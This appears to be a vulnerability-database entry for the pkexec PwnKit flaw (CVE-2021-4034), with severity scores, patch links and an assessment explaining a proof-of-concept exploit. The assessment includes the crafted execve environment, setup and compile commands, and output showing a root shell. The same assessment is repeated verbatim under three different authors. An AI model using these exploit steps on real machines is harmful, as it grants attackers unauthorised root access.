7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
7.2 High
CVSS2
Access Vector
LOCAL
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
0.0005 Low
EPSS
Percentile
14.3%
A local privilege escalation vulnerability was found on polkit’s pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn’t handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it’ll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine.
Recent assessments:
jbaines-r7 at February 01, 2022 9:53pm UTC reported:
CVE-2021-4034 is a local privilege escalation vulnerability affecting the pkexec utility commonly found on Linux distributions. The vulnerability was discovered by Qualys and given the nickname of pwnkit
. The vulnerability was disclosed on January 25, 2022.
Exploitation of the vulnerability allows a low privileged user to escalate to root
. While there are many such vulnerabilities published every year, this one is especially interesting because exploitation is trivial, the utility is ubiquitous, and the vulnerability has reportedly existed in the software all the way back to 2009.
This is an excellent finding and a useful exploit. However, as a general reminder, an attacker that has sufficient access to exploit this vulnerability is an attacker already in your system. Remediating this issue should be on your TODO list, but things aren’t on fire here.
There are a number of proof of concept exploits floating around. I like arthepsy’s best, because it’s self-contained and concise. These are the two most critical lines:
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
The vulnerability is the result of how pkexec
handles a NULL
argument array. Above, you can see that pkexec
is invoked with that exact condition. The argv[]
parameter is set to NULL
when calling execve. As described in Qualys’ excellent writeup, an arbitrary environment valuable can be added into pkexec
’s environment if execve
’s env[0]
exists in the directory within the the PATH
variable in env[1]
.
For the exploit to work in the execve
above, pwnkit
must exist in ./GCONV_PATH=./
. Looking at the proof of concept, you can see this is configured on the very first line via a system
call:
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
Note that, GCONV_PATH
is not the only environment variable that could be used here, but it’s the one outlined in Qualy’s writeup and works quite well. GCONV_PATH
specific exploitation requires an the attacker also define a CHARSET variable. The CHARSET
value can be whatever, but the attacker must make an env[0]
directory that contains a gconv-modules
file pointing to env[0]
(which will be found via PATH
). For example, the exploit we are referencing uses CHARSET=PWNKIT
so it has to create this file structure:
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
If the proof of concept used CHARSET=cheesedoodle
then it would have to do this:
system("mkdir -p pwnkit; echo 'module UTF-8// cheesedoodle// pwnkit 2' > pwnkit/gconv-modules");
Note that the “cheesedoodle// pwnkit
” describes the defined CHARSET
and the implementing shared object. If the shared object was /tmp/pwnkit.so
then this would be “cheesedoodle// /tmp/pwnkit
”.
The only thing left to do is to create the shared object that pkexec
will load when it attempts to print. The reference proof of concept simply writes some C code to a file and then shells out to gcc to compile it.
system("gcc pwnkit/pwnkit.c -o /tmp/pwnkit.so -shared -fPIC");
Which is fine. Not all systems will have gcc
installed, but good enough. The only major thing that I need to point out about the C code is that it needs to setuid(0)
/ setgid(0)
, otherwise it’ll be executing as the normal user.
Finally, the proof of concept also has a SHELL
environment value set, but that can be set to anything invalid. For example, SHELL=a
works fine. Otherwise the PoC works as advertised:
albinolobster@ubuntu:~/pwnkit$ gcc -o poc poc.c
albinolobster@ubuntu:~/pwnkit$ ./poc
# uname -a
Linux ubuntu 5.11.0-49-generic #55-Ubuntu SMP Wed Jan 12 17:36:34 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
# whoami
root
There has been discussion that exploits should set the GIO_USE_VFS
environment variable within their exploit. I haven’t run into this myself (nor tested it), but GitHub user v-rzh explains here. The basic summary is that for some versions of pkexec
the environment array will get reallocated before the attacker can write into it unless the following has been set.
setenv ("GIO_USE_VFS", "local", 1);
<https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt>
<https://github.com/v-rzh/CVE-2021-4034/blob/master/README.md#whats-the-deal-with-gio_use_vfs>
bwatters-r7 at February 22, 2022 11:40pm UTC reported:
CVE-2021-4034 is a local privilege escalation vulnerability affecting the pkexec utility commonly found on Linux distributions. The vulnerability was discovered by Qualys and given the nickname of pwnkit
. The vulnerability was disclosed on January 25, 2022.
Exploitation of the vulnerability allows a low privileged user to escalate to root
. While there are many such vulnerabilities published every year, this one is especially interesting because exploitation is trivial, the utility is ubiquitous, and the vulnerability has reportedly existed in the software all the way back to 2009.
This is an excellent finding and a useful exploit. However, as a general reminder, an attacker that has sufficient access to exploit this vulnerability is an attacker already in your system. Remediating this issue should be on your TODO list, but things aren’t on fire here.
There are a number of proof of concept exploits floating around. I like arthepsy’s best, because it’s self-contained and concise. These are the two most critical lines:
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
The vulnerability is the result of how pkexec
handles a NULL
argument array. Above, you can see that pkexec
is invoked with that exact condition. The argv[]
parameter is set to NULL
when calling execve. As described in Qualys’ excellent writeup, an arbitrary environment valuable can be added into pkexec
’s environment if execve
’s env[0]
exists in the directory within the the PATH
variable in env[1]
.
For the exploit to work in the execve
above, pwnkit
must exist in ./GCONV_PATH=./
. Looking at the proof of concept, you can see this is configured on the very first line via a system
call:
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
Note that, GCONV_PATH
is not the only environment variable that could be used here, but it’s the one outlined in Qualy’s writeup and works quite well. GCONV_PATH
specific exploitation requires an the attacker also define a CHARSET variable. The CHARSET
value can be whatever, but the attacker must make an env[0]
directory that contains a gconv-modules
file pointing to env[0]
(which will be found via PATH
). For example, the exploit we are referencing uses CHARSET=PWNKIT
so it has to create this file structure:
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
If the proof of concept used CHARSET=cheesedoodle
then it would have to do this:
system("mkdir -p pwnkit; echo 'module UTF-8// cheesedoodle// pwnkit 2' > pwnkit/gconv-modules");
Note that the “cheesedoodle// pwnkit
” describes the defined CHARSET
and the implementing shared object. If the shared object was /tmp/pwnkit.so
then this would be “cheesedoodle// /tmp/pwnkit
”.
The only thing left to do is to create the shared object that pkexec
will load when it attempts to print. The reference proof of concept simply writes some C code to a file and then shells out to gcc to compile it.
system("gcc pwnkit/pwnkit.c -o /tmp/pwnkit.so -shared -fPIC");
Which is fine. Not all systems will have gcc
installed, but good enough. The only major thing that I need to point out about the C code is that it needs to setuid(0)
/ setgid(0)
, otherwise it’ll be executing as the normal user.
Finally, the proof of concept also has a SHELL
environment value set, but that can be set to anything invalid. For example, SHELL=a
works fine. Otherwise the PoC works as advertised:
albinolobster@ubuntu:~/pwnkit$ gcc -o poc poc.c
albinolobster@ubuntu:~/pwnkit$ ./poc
# uname -a
Linux ubuntu 5.11.0-49-generic #55-Ubuntu SMP Wed Jan 12 17:36:34 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
# whoami
root
There has been discussion that exploits should set the GIO_USE_VFS
environment variable within their exploit. I haven’t run into this myself (nor tested it), but GitHub user v-rzh explains here. The basic summary is that for some versions of pkexec
the environment array will get reallocated before the attacker can write into it unless the following has been set.
setenv ("GIO_USE_VFS", "local", 1);
<https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt>
<https://github.com/v-rzh/CVE-2021-4034/blob/master/README.md#whats-the-deal-with-gio_use_vfs>
JaxxorJPB at February 23, 2022 9:36pm UTC reported:
CVE-2021-4034 is a local privilege escalation vulnerability affecting the pkexec utility commonly found on Linux distributions. The vulnerability was discovered by Qualys and given the nickname of pwnkit
. The vulnerability was disclosed on January 25, 2022.
Exploitation of the vulnerability allows a low privileged user to escalate to root
. While there are many such vulnerabilities published every year, this one is especially interesting because exploitation is trivial, the utility is ubiquitous, and the vulnerability has reportedly existed in the software all the way back to 2009.
This is an excellent finding and a useful exploit. However, as a general reminder, an attacker that has sufficient access to exploit this vulnerability is an attacker already in your system. Remediating this issue should be on your TODO list, but things aren’t on fire here.
There are a number of proof of concept exploits floating around. I like arthepsy’s best, because it’s self-contained and concise. These are the two most critical lines:
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
The vulnerability is the result of how pkexec
handles a NULL
argument array. Above, you can see that pkexec
is invoked with that exact condition. The argv[]
parameter is set to NULL
when calling execve. As described in Qualys’ excellent writeup, an arbitrary environment valuable can be added into pkexec
’s environment if execve
’s env[0]
exists in the directory within the the PATH
variable in env[1]
.
For the exploit to work in the execve
above, pwnkit
must exist in ./GCONV_PATH=./
. Looking at the proof of concept, you can see this is configured on the very first line via a system
call:
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
Note that, GCONV_PATH
is not the only environment variable that could be used here, but it’s the one outlined in Qualy’s writeup and works quite well. GCONV_PATH
specific exploitation requires an the attacker also define a CHARSET variable. The CHARSET
value can be whatever, but the attacker must make an env[0]
directory that contains a gconv-modules
file pointing to env[0]
(which will be found via PATH
). For example, the exploit we are referencing uses CHARSET=PWNKIT
so it has to create this file structure:
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
If the proof of concept used CHARSET=cheesedoodle
then it would have to do this:
system("mkdir -p pwnkit; echo 'module UTF-8// cheesedoodle// pwnkit 2' > pwnkit/gconv-modules");
Note that the “cheesedoodle// pwnkit
” describes the defined CHARSET
and the implementing shared object. If the shared object was /tmp/pwnkit.so
then this would be “cheesedoodle// /tmp/pwnkit
”.
The only thing left to do is to create the shared object that pkexec
will load when it attempts to print. The reference proof of concept simply writes some C code to a file and then shells out to gcc to compile it.
system("gcc pwnkit/pwnkit.c -o /tmp/pwnkit.so -shared -fPIC");
Which is fine. Not all systems will have gcc
installed, but good enough. The only major thing that I need to point out about the C code is that it needs to setuid(0)
/ setgid(0)
, otherwise it’ll be executing as the normal user.
Finally, the proof of concept also has a SHELL
environment value set, but that can be set to anything invalid. For example, SHELL=a
works fine. Otherwise the PoC works as advertised:
albinolobster@ubuntu:~/pwnkit$ gcc -o poc poc.c
albinolobster@ubuntu:~/pwnkit$ ./poc
# uname -a
Linux ubuntu 5.11.0-49-generic #55-Ubuntu SMP Wed Jan 12 17:36:34 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
# whoami
root
There has been discussion that exploits should set the GIO_USE_VFS
environment variable within their exploit. I haven’t run into this myself (nor tested it), but GitHub user v-rzh explains here. The basic summary is that for some versions of pkexec
the environment array will get reallocated before the attacker can write into it unless the following has been set.
setenv ("GIO_USE_VFS", "local", 1);
<https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt>
<https://github.com/v-rzh/CVE-2021-4034/blob/master/README.md#whats-the-deal-with-gio_use_vfs>
Assessed Attacker Value: 4
Assessed Attacker Value: 4Assessed Attacker Value: 5
packetstormsecurity.com/files/166196/Polkit-pkexec-Local-Privilege-Escalation.html
packetstormsecurity.com/files/166200/Polkit-pkexec-Privilege-Escalation.html
access.redhat.com/errata/RHSA-2022:0265
access.redhat.com/errata/RHSA-2022:0266
access.redhat.com/errata/RHSA-2022:0267
access.redhat.com/errata/RHSA-2022:0268
access.redhat.com/errata/RHSA-2022:0269
access.redhat.com/errata/RHSA-2022:0270
access.redhat.com/errata/RHSA-2022:0271
access.redhat.com/errata/RHSA-2022:0272
access.redhat.com/errata/RHSA-2022:0273
access.redhat.com/errata/RHSA-2022:0274
access.redhat.com/errata/RHSA-2022:0443
access.redhat.com/errata/RHSA-2022:0540
access.redhat.com/security/cve/CVE-2021-4034
access.redhat.com/security/vulnerabilities/RHSB-2022-001
bugzilla.redhat.com/show_bug.cgi?id=2025869
cert-portal.siemens.com/productcert/pdf/ssa-330556.pdf
cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4034
gitlab.freedesktop.org/polkit/polkit/-/commit/a2bf5c9c83b6ae46cbd5c779d3055bff81ded683
www.oracle.com/security-alerts/cpuapr2022.html
www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
www.secpod.com/blog/local-privilege-escalation-vulnerability-in-major-linux-distributions-cve-2021-4034/
www.starwindsoftware.com/security/sw-20220818-0001/
www.suse.com/support/kb/doc/?id=000020564
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
7.2 High
CVSS2
Access Vector
LOCAL
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
0.0005 Low
EPSS
Percentile
14.3%